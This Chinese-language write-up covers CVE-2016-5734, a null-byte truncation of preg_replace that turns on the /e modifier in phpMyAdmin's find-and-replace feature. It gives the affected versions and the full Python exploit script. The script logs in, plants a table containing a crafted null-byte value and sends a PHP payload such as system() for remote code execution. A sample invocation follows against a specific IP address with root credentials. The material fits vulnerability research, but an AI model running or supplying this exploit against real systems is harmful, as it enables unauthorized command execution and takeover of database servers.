phpMyAdmin是一套开源的,基于Web的MySQL数据库管理工具。在其查找和替换字符串功能中,将用户输入的信息分解进preg_replace函数第一个参数中。

在PHP5.4.7以前,preg_replace的第一个参数可以利用\ 0进行截断,变成正则模式修改为e。且,e模式的正则支持执行代码,此时将可构造一个任意代码执行中断。

以下版本受到影响:

  • 4.0.10.16之前4.0.x版本
  • 4.4.15.7之前4.4.x版本
  • 4.6.3之前4.6.x版本(实际上是该版本要求PHP5.5 +,所以无法复制现本突破)

启动PHP 5.3 + Apache + phpMyAdmin 4.4.15.6:

这个功能需要登录,并且能够写入数据。

因为目标环境使用根,所以我们可以创建一个临时数据库和数据表,进行突破利用

poc

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)
            
python phpmyadmin.py -c 'system(id);' -uroot -proot -d test http://188.40.189.134:8080/

-d是已经可以写的数据库,-c是待执行的PHP语句,如果没有指定表名,这个POC会创建一个称为prgpwn的表。

大概就这些……

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